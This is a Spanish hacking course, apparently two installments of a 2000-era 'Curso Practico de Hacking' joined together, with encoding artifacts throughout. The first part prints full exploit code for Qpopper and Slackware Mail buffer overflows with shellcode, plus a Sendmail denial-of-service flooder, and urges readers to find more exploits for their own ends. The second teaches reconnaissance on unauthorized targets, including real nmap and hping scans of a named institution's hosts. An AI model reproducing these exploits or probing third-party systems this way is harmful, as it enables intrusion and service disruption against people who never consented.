fprintf(stderr,”Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n“);

if (argc<3) usage(argv[0]);

if (argc=3D=3D4) offset+=3Datol(argv[3]);

ptr=3Dbuffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=3Dstrlen(shellcode);
long_ptr=3D(unsigned long*)ptr;
for(aux=3D0;aux<4;aux++) *(long_ptr++)=3Doffset;
ptr=3D(char *)long_ptr;
*ptr=3D’\0′;

fprintf(stderr,”Buffer size: %d\n”,strlen(buffer));
fprintf(stderr,”Offset: 0x%lx\n\n”,offset);

printf(“USER %s\n”,argv[1]);
sleep(1);
printf(“PASS %s\n”,argv[2]);
sleep(1);
printf(“LIST 1 %s\n”,buffer);
sleep(1);
printf(“uname -a; id\n”);

return(0);
}

————————/end qpop exploit—————————–
**Otro para sendmail

——————–/begin sendmail exploit—————————
/*
against.c – Another Sendmail (and pine DoS (up to 8.9.2)
(c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>

Usage: ./against existing_user_on_victim_host victim_host
Example: ./against nobody lamers.net

*/

#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>

#define MAXCONN 5
#define LINES 150000

struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;

int main(int argc,char* argv[]) {
�
printf(“against.c – another Sendmail DoS (up to 8.9.2)\n”);

if (argc-3) {
printf(“Usage: %s victim_user victim_host\n”,argv[0]);
exit(0);
}
�
hp=3Dgethostbyname(argv[2]);
�
if (!hp) {
perror(“gethostbyname”);
exit(1);
}

fprintf(stderr,”Doing mess: “);

for (;loop<MAXCONN;loop++) if (!(x=3Dfork())) {
FILE* d;
bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
s.sin_family=3Dhp->h_addrtype;
s.sin_port=3Dhtons(25);
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))<0) perror(“socket”);
if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror(“connect”);
if (!(d=3Dfdopen(suck,”w”))) { perror(“fdopen”); exit(0); }

usleep(100000);

fprintf(d,”helo tweety\n”);
fprintf(d,”mail from: tweety@polbox.com\n“);
fprintf(d,”rcpt to: %s@%s\n”,argv[1],argv[2]);
fprintf(d,”data\n”);

usleep(100000);

for(loop=3D0;loop<LINES;loop++) {
if (!(loop%100)) fprintf(stderr,”.”);
fprintf(d,”To: x\n”);
}

fprintf(d,”\n\n\nsomedata\n\n\n”);

fprintf(d,”.\n”);

sleep(1);

fprintf(d,”quit\n”);
fflush(d);

sleep(100);
shutdown(suck,2);
close(suck);
exit(0);
}

waitpid(x,&loop,0);

fprintf(stderr,”ok\n”);

return 0;
}

——————/end sendmail exploit—————————
**Para terminar uno de Slackware

——————/begin mail-slack exploit———————-
/*
* mail-slak.c (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
*
* Exploit for /usr/bin/Mail.
* Made specially for Slackware Linux 7.0.
* Based on mailx.c by funkySh.
*
* OBS.: Without fprintf(stderr) is not possible to print the message.
*
* USAGE:
* slack$ ./mail-slak
* type ‘.’ and enter: .
* Cc: too long to edit
* sh-2.03$ id
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char buffer[10000];
char shellcode[] =3D
“\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31″

“\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1″

“\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76″

“\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89″

“\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long getesp(void)
{
__asm__(“movl %esp,%eax”);
}

int main(int argc, char **argv)
{
int x;
long addr =3D getesp() – 18000;

memset(buffer, 0×90, 10000);
memcpy(buffer + 800, shellcode, strlen(shellcode));

for(x =3D 876; x < 9998; x +=3D 4)
*(int *)&buffer[x] =3D addr;

fprintf(stderr, “type ‘.’ and enter: “);

execl(“/usr/bin/Mail”, “/usr/bin/Mail”, “nobody”, “-s”,
“blah”, “-c”, buffer, 0);
}

/* mail-slack.c: EOF */

—————–/end mail-slack exploit————————–
Esto solo ha sido una muestra. Si en rootshell.com utilizais la
untilidad search podreis buscar los exploits relativos a aquellos
programas o servicios que os interesen para vuestros fines }:)).

Bueno…ya esta bien por esta entrega. La proxima nos dedicaremos a
conseguir privilegios de root desde un acceso local y a preparar
nuestras herramientas.

Antes de terminar…ni se os ocurra intentar entrar en ninguna maquina
remota en plan novato apenas sabiendo cuatro cosas, porque dejariais
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que
avancemos os dire algunas cosillas fundamentales para ser casi
invisible…pero no todavia. Por ultimo, aunque no quiero meteros
mucha tela, existen una serie de escaners que auditan redes y que
delatan diversos fallos de seguridad y vulnerabilidades. Anta=F1o
estaba sscan, pero ahora es mucho mejor usar saint o nessus…pero ya
os dire como.

Tened cuidado ahi dentro ;-P

�
————–2EC61C705517942E3D414456–

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

CURSO PRACTICO DE HACKING–2a entrega

Queridos compañeros (exploradores y novatos con ganas de aprender):

Como os  prometi aqui teneis el  segundo capitulo del  CPH, que espero
que  pueda serviros  a abrir  la  brecha del  estudio autodidacta  con
algunos  consejillos y  notas.  Antes de  comenzar  con este  capitulo
quiero recalcar que el objetivo de este “seminario” de hacking intenta
ilustrar los modos de conseguir introducirnos en una maquina unix cuya
seguridad ha sido comprometida,  generalmente por una mala gestion del
administrador,  que muchas  veces pasa  olimpicamente del  sistema que
debe cuidar  como Cancerbero.  En ningun caso  he querido  arrastrar a
nadie  al empleo de  este conocimiento  para oscuros  propositos, sino
para impulsar  a los estudiantes novatos  a llevar los  sistemas a sus
ultimas  posibilidades  y  no  como  meros  usuarios  finales.Asi  que
=A1abstenerse los lamers!

En este sentido, ha salido este  mes en la revista @rroba un excelente
articulo de  Carlos Sanchez Almeida  titulado “Hackers de  plastico” y
aunque corto  merece la pena que lo  leais. Al igual que  a finales de
los setenta se  acuñaba el termino “punkies de  plastico” para señalar
que debajo de la mascarada de tachuelas y cuero, aquellos punkies eran
tan burgueses como sus papis, los hackers de plastico son aquellos que
se  han erigido  como arquetipo  de la  revolucion moderna:  el hacker
televisivo, cruce de Neo y el  padre Apeles. Pero ya sabeis: con lo de
hacker  ocurre  lo   mismo  que  con  quienes  se   dicen  rosacruz  o
sufi…Ciertamente no lo son. Un  hacker de verdad “jamas se colocaria
un piercing para aparentar: lo  unico que agujerean es el sistema”. El
hacking es un camino duro y dificil, “que implica muchas renuncias. La
primera y  la mas  importante es la  que diferencia  verdaderamente al
hacker del lamer: la renuncia al ego…”

Y  ahora vamos  con nuestro  asunto. Antes  de entrar  de lleno  en el
capitulo 2 quiero aclarar algo  a los estudiantes del primer capitulo:
Las  utilidades whois, traceroute,  host, ping  y nslookup  las debeis
tener  en cualquier  sistema linux  que  monteis. Las  podeis usar  en
consola  o en un  xterm. Algunas  como traceroute  hay que  usarlas en
ciertas distros linux como root, pero en otras no. Evidentemente antes
habreis de conectaros y si  sois novatillos el paquete kppp de KDE
se parece  muchisimo al procedimiento  de conexion telefonica  a redes
del Windoze. Una  vez conectados podeis abrir xterms  en el escritorio
KDE o pasaros  con Alt-Ctrl-Fx a una consola  (Volvereis al escritorio
con  Alt-Ctrl-F7).  Otras  utilidades   teneis  que  buscarlas  en  la
red.  Para ello  basta con  www.altavista.com y  www.alltheweb.com que
contiene un buscador FAST FTP y  WEB y una dosis minima de ingenio. De
todos modos os dire donde podeis descargar las herramientas:

-fping en www.stanford.edu/~schemers/docs/fping/fping.html
-nmap en www.insecure.org/nmap/
-netcat en www.l0pht.com/~weld/netcat/
-queso en ftp.connect.net/pub/security/trinux/netmap/

Espero que continueis en la brecha

Saludos,

LECTER

CPH. CAPITULO 2. EXTRACCION DE INFORMACION CRITICA DEL OBJETIVO

En este  capitulo nos vamos a  centrar en la  obtencion de informacion
critica  que  luego  podra  ser  explotada para  introducirnos  en  el
sistema. La informacion critica se basa siempre en algun compromiso en
la  seguridad  de  un  servicio,  un  bug  (fallo)  de  algun  comando
relacionado con los servicios, etc. Para este capitulo me he basado en
un   libro  muy   util   que  acaba   de   salir  al   mercado:Hacking
exposed;network  security secrets  and solutions,  de  Stuart McClure,
George Kutz y otro mas (ya esta en español).

1)Informacion  critica obtenida  mediante “transferencia  de  zona” de
servidores DNS  mal configurados.   Algunas veces nos  encontramos con
servidores  DNS   configurados  de   manera  insegura  y   que  pueden
permitirnos entrar  en la  llamada zona de  transferencia de  DNS, aun
siendo  usuarios  de   internet  no  autorizados.  Podemos  intentarlo
utilizando la instruccion nslookup en modo interactivo:

$>nslookup

=2E..a continuacion aparecera el servidor  DNS por defecto que sera el
de  nuestro ISP  u organizacion…pero  como queremos  consultar otro,
X.X.X.X  (uno que corresponda  a nuestro  objetivo, como  obtuvimos al
hacer whois transmeta.com) escribiremos

>server X.X.X.X

a lo que respondera aceptandolo como “default”. A continuacion hacemos

>set type=3Dany
>ls -d objetivo.net.>> fichero

Lo  que hemos hecho  es definir  el tipo  de registro  como cualquiera
(any)   con    lo   que   podemos   recuperar    los   registros   DNS
disponibles.  Luego  los  listamos  y  redirigimos  a  “fichero”  para
consultarlo mas adelante.  Si ha habido suertecilla, cosa que dudo, al
leer “fichero”, encontrariais  diversas entradas con varios registros,
p.ej:

acct22   1D IN A       192.168.230.3
         1D IN HINFO   “Gateway 2000″ “Win WKGRPS”
         1D IN MX      0 acmeadmin-smtp
         ………………………………….

El registro A indica la  direccion IP de esta cuenta, HINFO identifica
la plataforma o  el sistema operativo y MX nos  dice donde se gestiona
el correo.  Existen mas  registros, pero no  los voy a  comentar. Esta
informacion es  muy valiosa  porque nos da  de golpe  conocimiento del
sistema operativo y gestor de correo (aparte de mucho mas). Existe una
utilidad algo  dificililla de encontrar  buscando a las bravas  por la
red, que nos permite realizar transferencias de zona (cuando se puede)
y transferir  de manera  recursiva informacion de  la zona  y archivos
huespedes de cada uno de  los dominios consultados. Tal herramienta es
“axfr”         que        la        podeis         encontrar        en
ftp=2Econnectnet.com/pub/security/trinux/netmap/axfr-0.5.2.tar.gz. Una
vez instalado, hacemos como root

#>axfr objetivo.net
y saldran algunos mensajes
axfr: Using default directory /root/axfrdb
Found X.X.X.X name server for domain ‘objetivo.net’
text deleted
Received xxxx answers

Ya esta. Para consultar la base de datos basta con que hagais

#>axfrcat objetivo.net

Pero como ya he dicho, no sera tan tordo el administrador de dejar mal
configurado el servidor DNS.

2. =BFProtege algun cortafuegos nuestro objetivo?

Vamos unicamente  a comprobar si existe algun  cortafuegos que proteja
nuestro  objetivo.  La  manera   de  saltarse  el  cortafuegos  ya  la
consideraremos  en   las  tecnicas  de  ataque,   pues  ahora  estamos
extrayendo  informacion  critica  solamente.  Recordando  la  utilidad
nmap, podemos  usarla para descubrir cortafuegos.  Cuando nmap explora
un host, no solamente dice si los puertos estan abiertos, sino tambien
si estan “filtrados”. Un puerto filtrado  en nmap indica que o bien no
se  recibio ningun  paquete SYN/ACK  o RST/ACK  o bien  se  recibio un
mensaje  ICMP  de destino  inalcanzable  con  codigo 13  (Cominicacion
prohibida por  el administrador).  Otra utilidad interesante  es hping
(www.kyuzz.org/antirez). Una vez instalada, hacemos como root

#>hping objetivo.com -S -p (n=BA de puerto)

De este modo se envian paquetes  TCP SYN al puerto destino y obtenemos
informacion de los  paquetes que regresan. Si el  flag de respuesta es
SA (SYN/ACK) quiere  decir que el puerto destino  esta abierto y listo
para  recibir  conexion.  A   veces  nos  sale  como  respuesta  “ICMP
unreachable type 13 from X.X.X.X” lo  que nos indica que X.X.X.X es el
cortafuegos del objetivo.  No obstante si el resultado  de hping no da
respuesta alguna puede ser que o bien el paquete se haya perdido en la
red o  que el cortafuegos lo  detenga. Si obtenemos  una respuesta con
flag  RA (RST/ACK)  puede ser  que  el cortafuegos  haya rechazado  el
paquete o  puede que lo  haya dejado pasar  por el puerto pero  que el
host objetivo no  esta escuchando. Vamos a intentar  ilustrarlo con un
ejemplo.  Mi host  objetivo es  la pagina  web del  Centro Informatico
Cientifico de  Andalucia, www.cica.es. Voy  antes que nada a  hacer un
traceroute

$>traceroute www.cica.es
Â
 1  SEVI-X13.red.retevision.es (62.81.56.45)  134.694 ms  139.73 ms  139.866 ms
 2  SEVI-R3.red.retevision.es (62.81.56.27)  139.931 ms  120.489 ms SEVI-R1.red.retevision.es (62.81.56.28)  129.317 ms
 3  SEVI-R15.red.retevision.es (62.81.55.229)  139.938 ms  129.841 ms  119.956 ms
 4  BARC-R16.red.retevision.es (62.81.125.3)  170.034 ms  149.872 ms  149=2E948 ms
 5  ReteNAC.red.retevision.es (62.81.63.202)  139.926 ms  169.764 ms  159=2E934 ms
 6  EspaNIX.red.retevision.es (62.81.8.146)  179.967 ms  179.872 ms  169.909 ms
 7  ibernet.espanix.net (193.149.1.57)  170.042 ms  159.813 ms  149.953 ms
 8  194.179.0.113 (194.179.0.113)  179.942 ms  159.778 ms  159.919 ms
 9  A0-2-4.EB-Madrid00.red.rediris.es (130.206.224.77)  159.959 ms  199.853 ms  169.892 ms
10  A1-0-1.EB-Sevilla1.red.rediris.es (130.206.224.10)  189.936 ms  189.926 ms  179.875 ms
11  130.206.194.10 (130.206.194.10)  179.931 ms  169.96 ms  169.856 ms
12  argantonio.cica.es (150.214.5.77)  189.97 ms *  180.02 ms

 Muy  bien,   el  host  130.206.194.10  parece  ser   un  enrutador  o
cortafuegos que dirige  el trafico a argantonio.cica.es (www.cica.es).
Ahora voy a utilizar la  herramienta nmap para hacer una evaluacion de
la  topologia  de  una  subred.  Voy  a  escanear  por  el  puerto  80
silenciosamente todas las  maquinas de la subred C  a la que pertenece
www.cica.es:

#>nmap -sS -p80 www.cica.es

# Nmap (V. nmap) scan initiated 2.53 as: nmap -sS -p80 -o cica www.cica.es/24
The 1 scanned port on  (150.214.5.0) is: closed
The 1 scanned port on  (150.214.5.1) is: closed
Interesting ports on www.ceseand.cica.es (150.214.5.2):
Port       State       Service
80/tcp     open        http                   

Interesting ports on scsasnt.sas.cica.es (150.214.5.3):
Port       State       Service
80/tcp     open        http                   

Interesting ports on prometeo.cica.es (150.214.5.4):
Port       State       Service
80/tcp     open        http                   

Interesting ports on cdaea.cica.es (150.214.5.6):
Port       State       Service
80/tcp     open        http                   

Interesting ports on caf.cica.es (150.214.5.7):
Port       State       Service
80/tcp     open        http                   

Interesting ports on microbio.cica.es (150.214.5.8):
Port       State       Service
80/tcp     open        http                   

Interesting ports on www.csalud.junta-andalucia.es (150.214.5.9):
Port       State       Service
80/tcp     open        http                   

Interesting ports on thales.cica.es (150.214.5.10):
Port       State       Service
80/tcp     open        http                   

The 1 scanned port on mileto.cica.es (150.214.5.11) is: closed
Interesting ports on www.tresculturas.org (150.214.5.12):
Port       State       Service
80/tcp     open        http                   

Interesting ports on cdma.cica.es (150.214.5.13):
Port       State       Service
80/tcp     open        http                   

Host   (150.214.5.31) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.
The 1 scanned port on  (150.214.5.31) is: closed
Host   (150.214.5.48) seems to be a subnet broadcast address (returned 1 extra pings).  Skipping host.
The 1 scanned port on osni.cica.es (150.214.5.49) is: closed
The 1 scanned port on io.cica.es (150.214.5.50) is: closed
The 1 scanned port on iat-gw.cica.es (150.214.5.51) is: closed
Host   (150.214.5.55) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.
The 1 scanned port on  (150.214.5.55) is: closed
Host   (150.214.5.64) seems to be a subnet broadcast address (returned 1 extra pings).  Skipping host.
The 1 scanned port on  (150.214.5.65) is: closed
The 1 scanned port on winbdd.cica.es (150.214.5.66) is: closed
The 1 scanned port on mercurio.cica.es (150.214.5.67) is: closed
The 1 scanned port on winbdd2.cica.es (150.214.5.68) is: closed
Interesting ports on orgiva.cica.es (150.214.5.69):
Port       State       Service
80/tcp     open        http                   

The 1 scanned port on cache.cica.es (150.214.5.70) is: closed
The 1 scanned port on ntp.cica.es (150.214.5.71) is: closed
Interesting ports on patro.cica.es (150.214.5.72):
Port       State       Service
80/tcp     open        http                   

The 1 scanned port on horacio.cica.es (150.214.5.73) is: closed
Interesting ports on argantonio.cica.es (150.214.5.77):
Port       State       Service
80/tcp     open        http                   

Interesting ports on ligustino.cica.es (150.214.5.78):
Port       State       Service
80/tcp     open        http                   

Interesting ports on listas.cica.es (150.214.5.79):
Port       State       Service
80/tcp     open        http                   

The 1 scanned port on idefix.cica.es (150.214.5.85) is: closed
The 1 scanned port on lejia-s.cica.es (150.214.5.126) is: closed
Host   (150.214.5.127) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.
The 1 scanned port on  (150.214.5.127) is: closed
# Nmap run completed at Mon Aug  7 00:56:51 2000 — 256 IP addresses (33 hosts up) scanned in 31 seconds

Bueno, bueno…ahora si hago un traceroute a cada uno de los hosts que
han  sido  escaneados,  obtengo  que  en  todos  los  casos,  el  host
130.206.194.10 les apunta,  con lo cual podemos asegurar  que se trata
de un router/firewall frontera.
Â
Voy a escanear www.cica.es con nmap pero a todos los puertos:

# Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0  www.cica.es
Interesting ports on argantonio.cica.es (150.214.5.77):
(The 1508 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp                   Â
22/tcp     open        ssh                   Â
23/tcp     open        telnet                Â
80/tcp     open        http                  Â
119/tcp    filtered    nntp                  Â
123/tcp    filtered    ntp                   Â
389/tcp    open        ldap                  Â
390/tcp    open        uis                   Â
443/tcp    open        https                 Â
512/tcp    open        exec                  Â
513/tcp    open        login                 Â
514/tcp    open        shell                 Â
515/tcp    open        printer               Â
3128/tcp   open        squid-http            Â
8888/tcp   open        sun-answerbook         

TCP Sequence Prediction: Class=3Drandom positive increments
                         Difficulty=3D88217 (Worthy challenge)

Sequence numbers: C71B5D1D C71EA319 C7205F3B C721CEFD C72706F0 C729B3AC
Remote OS guesses: Solaris 2.6 – 2.7, Solaris 7
OS Fingerprint:
TSeq(Class=3DRI%gcd=3D1%SI=3D15899)
T1(Resp=3DY%DF=3DY%W=3D2297%ACK=3DS++%Flags=3DAS%Ops=3DNNTNWME)
T2(Resp=3DN)
T3(Resp=3DN)
T4(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)
T5(Resp=3DY%DF=3DY%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)
T6(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)
T7(Resp=3DY%DF=3DY%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)
PU(Resp=3DY%DF=3DY%TOS=3D0%IPLEN=3D70%RIPTL=3D148%RID=3DE%RIPCK=3DE%UCK=3DE%ULEN=3D134%DAT=3DE)
# Nmap run completed at Sun Aug  6 20:02:23 2000 — 1 IP address (1 host up) scanned in 34 seconds

Se  trata de un  Solaris 2.6-2.7  que tiene  filtrados los  puertos de
usenet (119)  y network time protocol  (123). Luego a no  ser que este
mismo  host  utilice un  filtro  de  paquetes,  sospecharemos que  son
filtrados por  las reglas  del firewall/router que  le precedia  en la
secuencia de traceroute.

Si barremos ahora los puertos del supuesto firewall:

Â
# Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0 -o cica 130.206.194.10
Interesting ports on  (130.206.194.10):
(The 1517 ports scanned but not shown below are in state: closed)
Port       State       Service
79/tcp     open        finger                Â
119/tcp    filtered    nntp                  Â
123/tcp    filtered    ntp                   Â
1998/tcp   open        x25-svc-port          Â
2001/tcp   open        dc                    Â
6001/tcp   open        X11:1                  

TCP Sequence Prediction: Class=3Drandom positive increments
                         Difficulty=3D38400 (Worthy challenge)

Sequence numbers: 2395ACF2 23A031DB 23AB5C89 23B4BE60 23BF584E 23C98A6A
Remote OS guesses: AS5200, Cisco 2501/5260/5300 terminal server IOS 11.3.6(T1), Cisco IOS 11.3 – 12.0(9)
OS Fingerprint:
TSeq(Class=3DRI%gcd=3D1%SI=3D9600)
T1(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)
T2(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)
T3(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)
T4(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)
T5(Resp=3DY%DF=3DN%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)
T6(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)
T7(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)
PU(Resp=3DN)
# Nmap run completed at Sun Aug  6 19:40:12 2000 — 1 IP address (1 host up) scanned in 26 seconds

Vemos  que se  trata efectivamente  de  un Cisco  Terminal Router  IOS
11.3-12.0 y que filtra tambien esos dos puertos.
                                                                  Â
Si hacemos un fping a www.cica.es

#>hping www.cica.es -S -p 80
ppp0 default routing interface selected (according to /proc)
HPING www.cica.es (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes
44 bytes from 150.214.5.77: flags=3DSA seq=3D0 ttl=3D243 id=3D4427 win=3D9112 rtt=3D188.4 ms
44 bytes from 150.214.5.77: flags=3DSA seq=3D1 ttl=3D243 id=3D4428 win=3D9112 rtt=3D200.2 ms
44 bytes from 150.214.5.77: flags=3DSA seq=3D2 ttl=3D243 id=3D4429 win=3D9112 rtt=3D210.2 ms
44 bytes from 150.214.5.77: flags=3DSA seq=3D3 ttl=3D243 id=3D4430 win=3D9112 rtt=3D200.2 ms
44 bytes from 150.214.5.77: flags=3DSA seq=3D4 ttl=3D243 id=3D4431 win=3D9112 rtt=3D190.2 ms
44 bytes from 150.214.5.77: flags=3DSA seq=3D5 ttl=3D243 id=3D4432 win=3D9112 rtt=3D210.1 ms

Paramos con Ctrl-C

— www.cica.es hping statistic —
6 packets tramitted, 6 packets received, 0% packet loss
round-trip min/avg/max =3D 188.4/199.9/210.2 ms
                                                      Â
y  observamos  que   el  flag=3DSA  indica  que  el   puerto  80  esta
efectivamente abierto. Pero si hacemos hping al puerto 119

#>hping www.cica.es -S -p 119
ppp0 default routing interface selected (according to /proc)
HPING www.cica.es (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes

— www.cica.es hping statistic —
13 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max =3D 0.0/0.0/0.0 ms         

Efectivamente, esta vez no  tenemos ninguna respuesta y debemos pensar
que el cortafuegos/o enrutador (Cisco ultimate server) la detuvo. =BFO
tal vez  el propio  host tenia filtro  de paquetes?. Si  utilizamos de
nuevo nmap y escaneamos toda la subred en los puertos 119 y123:

#>nmap -sS -p119,123 www.cica.es/24

obtenemos en  todos los  casos que los  hosts tienen esos  dos puertos
filtrados: Mucha casualidad va a  ser que cada host utilice un sistema
de filtrado  en dichos puertos  . Lo mas  aplastante es que  el host
130.206.194.10  disponga unas  rglas  de firewall  que filtren  dichos
puertos a todos los hosts a los que apunta.

De las  cuestiones acerca de los  tipos de cortafuegos  y las tecnicas
para traspasarlos nos dedicaremos  en el capitulo destinado al ataque,
como ya dije antes.

La  exploracion de  los puertos  de un  cortafuegos es  util,  pero la
mayoria no  escuchan en puertos predeterminados.  La identificacion de
algunos  cortafuegos  puede hacerse  si  tenemos  suerte  de modo  muy
sencillo  leyendo ciertos  mensajes  de identificacion  que muchos  de
ellos presentan. Con la  utilidad netcat podemos conectarnos al puerto
21 del posible cortafuegos

#>nc -v -n 192.168.51.129 21
(UNKNOWN) [192.168.51.129] 21 (?) open
220 Secure Gateway FTP server ready

#>nc -v -n 192.168.51.129 23
(UNKNOWN) [192.168.51.129] 23 (?) open
Eagle Secure Gateway
Hostname:
3. Exportacion de archivos NFS

El Network File  System (NFS) es un sistema de  red que posibilita que
un  host  servidor proporcione  sistemas  de  archivos y  dispositivos
perifericos a  maquinas clientes. Si  el amigo administrador no  es un
lumbrera o  pasa cantidad, puede  que no haya configurado  el servidor
NFS adecuadamente…y  cualquier usuario remoto puede  tener acceso de
lectura y escritura. Si mediante una exploracion previa se observa que
el puerto 2049 (servidor nfs) de un host esta abierto, con la utilidad
showmount -e podemos conseguir la  lista de exportacion de un servidor
NFS. Si hacemos como root

#>showmount -e objetivo.net
y nos sale algo como
RPC: Port mapper failure – RPC: Unable to receive
pues nada, no ha habido suerte

pero si nos saliera

#>showmount -e objetivo2.net
export list for objetivo2.net
/pub         (everyone)
/home        (everyone)

ya  podiamos establecer una  via de  entrada con  ayuda de  los rlogin
(ya lo veremos en el hacking).

4. Listado de usuarios y grupos

Parece  mentira,  pero  algunos  administradores emplean  la  utilidad
finger  con m=EDnimas  medidas de  seguridad…y esto  permite obtener
bastante  informacion  en muchos  casos  para  ingenieria social,  que
aunque yo no  lo considero como una tecnica pura  de hacking, te puede
resolver  el  problema  .   Supongamos  que el  host  objetivo  esta
ejecutando el servicio fingerd (puerto 79). Si hacemos como root

#>finger -l @host.objetivo
[host.objetivo]
login:root                         name:root
Directory:/root                    Shell:/bin/bash
On since Sun Mar 20: 10:15(PST) on tty1. 11 minutes idle
(message off)
On since Sun Mar 20: 10:15(PST) on ttyp0 from :0.0. 3 minute 15 seconds idle
No mail
Plan:
Luke Skywalker
Linux Guru
Telnet password is Lord … (my father)

Peaso de info (pero, como las peliculas de los intocables, el parecido
con la realidad es pura coincidencia) La informacion proporcionada por
finger en principio deberia ser  inocua porque la extrae de los campos
de  /etc/passwd. Lo  mas  peligroso es  que  indica el  nombre de  los
usuarios conectados y sus  tiempos de inactividad. Moreover, cualquier
usuario  que  tenga un  archivo  .plan  o  .project en  su  directorio
particular, la presentara al  hacer finger un merodeador. Los comandos
rwho y rusers muestran los usuarios conectados al host remoto, pero no
dan  tanta informacion como  finger. Es  posible mediante  el servicio
smtp  localizar  usuarios  con  los  mandatos  vrfy  (confirmacion  de
usuarios validos)  y expn (direcciones  reales de entrega de  correo y
alias):

$>telnet 192.168.202.34 25
=2E…………………….
220 mail.bigcorp.com ESMTP Sendmail 8.8.7
vrfy root
250 root <root@bigcorp.com>
expn adm
250 adm <adm@bigcorp.com>

5. Aplicaciones RPC

Remote  Procedure  Call (RPC)tiene  que  ver  con interacciones  entre
procesos=2E  El  concepto  de  RPC  es  una  sencilla  t=E9cnica  para
desarrollar  aplicaciones donde  se requiere  la  comunicaci=F3n entre
procesadores que cooperan en un sistema distribuido.

El  mecanismo  RPC proporciona  un  servicio  para  el programador  de
apliciones  que le  permite el  uso transparente  de un  servidor para
proporcionar  alguna actividad  por  parte de  la aplicaci=F3n.   Esto
efectivamente  puede ser  utilizado para  interactuar con  un servidor
computacional o  con una Base  de Datos, y  ha sido usado  por algunos
sistemas para  proporcionar acceso a servicios  del sistema operativo.
El ultimo  uso conocido es  en sistemas basados  en micro-ordenadores,
que  da   un  mejor  resultado  que  en   los  sistemas  tradicionales
encontrados en  la mayoria de sistemas  unix.  La orden  rpcinfo es el
equivalente a finger en la enumeracion de aplicaciones RPC que estan a
la escucha en hosts remotos en los puertos 111 (rpcbind) o 32771 (Sun)
Supongamos  que nuestro  objetivo o  una  maquina de  su subred  tiene
activo el puerto 111. Si hacemos

#>rpcinfo -p objetivo.net
y obtenemos:

program   vers     proto     port
100000             2         tcp   111  rpcbind
100002             3         udp   712  rusersd
100011             2         udp   754  rquotad
100005             1         udp   635  mountd
100003             2         udp  2049  nfs
100004             2         tcp   778  ypserv

Esta informacion  (me salto lo  que ahora puede ser  superfluo) indica
que se  estan ejecutando rusersd, nfs  e ypserv que es  el servidor de
NIS.  NIS (Network  Information System)  es un  protocolo de  nivel de
aplicacion   muy    util   para   la    gestion   de   configuraciones
cliente/servidor en  sistemas unix.  Es un sistema  de bases  de datos
distribuidas que  permiten de manera  uniforme el almacenamiento  y la
recuperacion de los recursos de red. Como explica Daemond, en lugar de
gestionar  archivos   como  el  /etc/hosts,   /etc/passwd,  /etc/group
independientemente  en  cada  maquina  de  la red,  esto  permite  que
solamente haya  una base de datos  compartida (mapas) por  el resto de
las maquinas clientes en un servidor central. Esto tiene su aquel para
el hacking de sistemas usando ypcat, pero ya lo veremos.

Existen muchos  mas modos de extraer informacion,  por ejemplo leyendo
el  codigo de las  paginas web,  estableciendo posibles  relaciones de
confianza  (trusted  hosts  con  rlogin),  ingenieria  social,  quinta
columna… pero creo que no esta mal para comenzar.

Aqui termina la segunda entrega.

